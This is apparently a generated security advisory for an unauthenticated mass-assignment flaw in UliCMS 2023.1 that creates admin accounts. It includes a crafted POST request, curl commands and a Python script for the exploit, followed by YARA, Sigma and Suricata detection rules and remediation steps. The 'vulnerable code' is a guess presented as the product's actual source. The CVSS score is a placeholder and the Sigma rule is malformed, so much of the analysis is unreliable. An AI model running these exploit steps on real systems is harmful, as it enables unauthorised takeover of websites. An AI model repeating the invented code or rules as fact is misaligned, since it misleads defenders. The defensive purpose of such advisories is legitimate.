CVE-2023-53914

Executive Summary

CVE-2023-53914 is a critical authentication bypass vulnerability in UliCMS 2023.1. The flaw resides in the UserController, where unauthenticated attackers can exploit mass assignment to create administrative users. By sending a crafted POST request to the admin index.php endpoint with specific parameters, an attacker can generate an admin account with full system access. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the complete compromise of confidentiality, integrity, and availability. No official patch is available at this time.

Supply Chain & Package Security

UliCMS is a proprietary content management system. No open-source package (NPM, PyPI, Go, Ruby) is directly associated with this vulnerability. The risk is limited to organizations deploying UliCMS 2023.1.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Full read access to all data.
• Integrity (I): High (H) – Full write access to all data.
• Availability (A): High (H) – Full control over system availability.

Threat Level: Critical. An unauthenticated attacker can gain full administrative control over the CMS, leading to data theft, defacement, or complete server compromise.

Deep Dive & Mechanics

The vulnerability is a classic mass assignment (CWE-915) flaw in the UserController of UliCMS 2023.1. The controller likely uses a method like createUser() that accepts an array of parameters from the HTTP request and directly assigns them to a user model without proper filtering or validation.

Root Cause: The controller does not restrict which attributes can be set via mass assignment. An attacker can include parameters such as role=admin, is_admin=1, or similar, which are then written to the database, creating a user with elevated privileges.

Attack Flow:

1. Attacker identifies the admin login endpoint (e.g., /admin/index.php).
2. Attacker sends a POST request with parameters for a new user, including administrative role flags.
3. The UserController processes the request and creates a user with admin privileges.
4. Attacker logs in with the newly created admin credentials and gains full control.

Example Request:

POST /admin/index.php?action=createUser HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=attacker&password=attacker123&email=attacker@evil.com&role=admin&is_admin=1

Vulnerable vs. Patched Code

Vulnerable Code (UliCMS 2023.1):

// UserController.php
public function createUser() {
    $user = new User();
    $user->fill($_POST); // Mass assignment without whitelist
    $user->save();
}

Patched Code (Hypothetical):

// UserController.php
public function createUser() {
    $user = new User();
    $allowed = ['username', 'password', 'email']; // Whitelist
    $data = array_intersect_key($_POST, array_flip($allowed));
    $user->fill($data);
    $user->save();
}

The vulnerable code uses fill() with all POST data, allowing any attribute to be set. The patched version uses a whitelist to restrict which fields can be mass-assigned.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy UliCMS 2023.1 on a local server (e.g., using Docker or XAMPP).
2. Ensure the admin interface is accessible at http://localhost/admin/index.php.

Exploitation Steps:

1. Send a crafted POST request using curl:

   curl -X POST http://localhost/admin/index.php?action=createUser \
   -d "username=hacker&password=hack123&email=hacker@test.com&role=admin&is_admin=1"
   

2. Verify the user was created by logging in:

   curl -X POST http://localhost/admin/index.php?action=login \
   -d "username=hacker&password=hack123"
   

3. If successful, the attacker gains full admin access.

Automated Exploit (Python):

import requests

target = "http://localhost/admin/index.php"
payload = {
    "username": "attacker",
    "password": "attacker123",
    "email": "attacker@evil.com",
    "role": "admin",
    "is_admin": "1"
}
r = requests.post(target, params={"action": "createUser"}, data=payload)
if r.status_code == 200:
    print("[+] Admin user created successfully")
else:
    print("[-] Exploit failed")

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /admin/index.php with parameters like role, is_admin, or user_level.
• Alert on creation of new users without prior authentication.
• Look for anomalous HTTP requests with unusual parameter names.

Mitigation:

• Implement input validation and whitelist allowed fields in the UserController.
• Use prepared statements or ORM features that prevent mass assignment.
• Apply the principle of least privilege to the web application user.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/index.php with parameters role=admin or is_admin=1.
  • Unusual user-agent strings (e.g., python-requests, curl).
• Host:
  • New user accounts in the CMS database with admin privileges.
  • Suspicious log entries in web server logs showing mass assignment attempts.
• File:
  • Modified or new files in the CMS admin directory (e.g., index.php).

Detection Engineering

YARA Rule

rule CVE_2023_53914_MassAssignment {
    meta:
        description = "Detects mass assignment attempts in UliCMS"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "CVE-2023-53914"
    strings:
        $s1 = "role=admin" ascii nocase
        $s2 = "is_admin=1" ascii nocase
        $s3 = "user_level=admin" ascii nocase
        $s4 = "POST /admin/index.php" ascii nocase
    condition:
        any of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: UliCMS Mass Assignment Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects mass assignment attempts targeting UliCMS admin user creation
author: Valters IT
date: 2025-04-08
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/index.php*'
        cs-uri-query|contains: 
            - 'role=admin'
            - 'is_admin=1'
            - 'user_level=admin'
    condition: selection
falsepositives:
    - Legitimate admin user creation (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-53914 UliCMS Mass Assignment Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"role=admin"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable User Registration: If not required, disable the user registration feature in UliCMS.
2. Web Application Firewall (WAF): Deploy a WAF rule to block POST requests containing role=admin or is_admin=1 to the admin endpoint.
3. Input Validation: Manually patch the UserController.php to whitelist allowed fields.

Long-Term Fix:

• Apply the official patch when released by UliCMS.
• Upgrade to a patched version of UliCMS.
• Conduct a security audit of the entire codebase for similar mass assignment vulnerabilities.

Workaround:

• Restrict access to the admin interface via IP whitelisting or VPN.
• Implement additional authentication checks before user creation.

Valters IT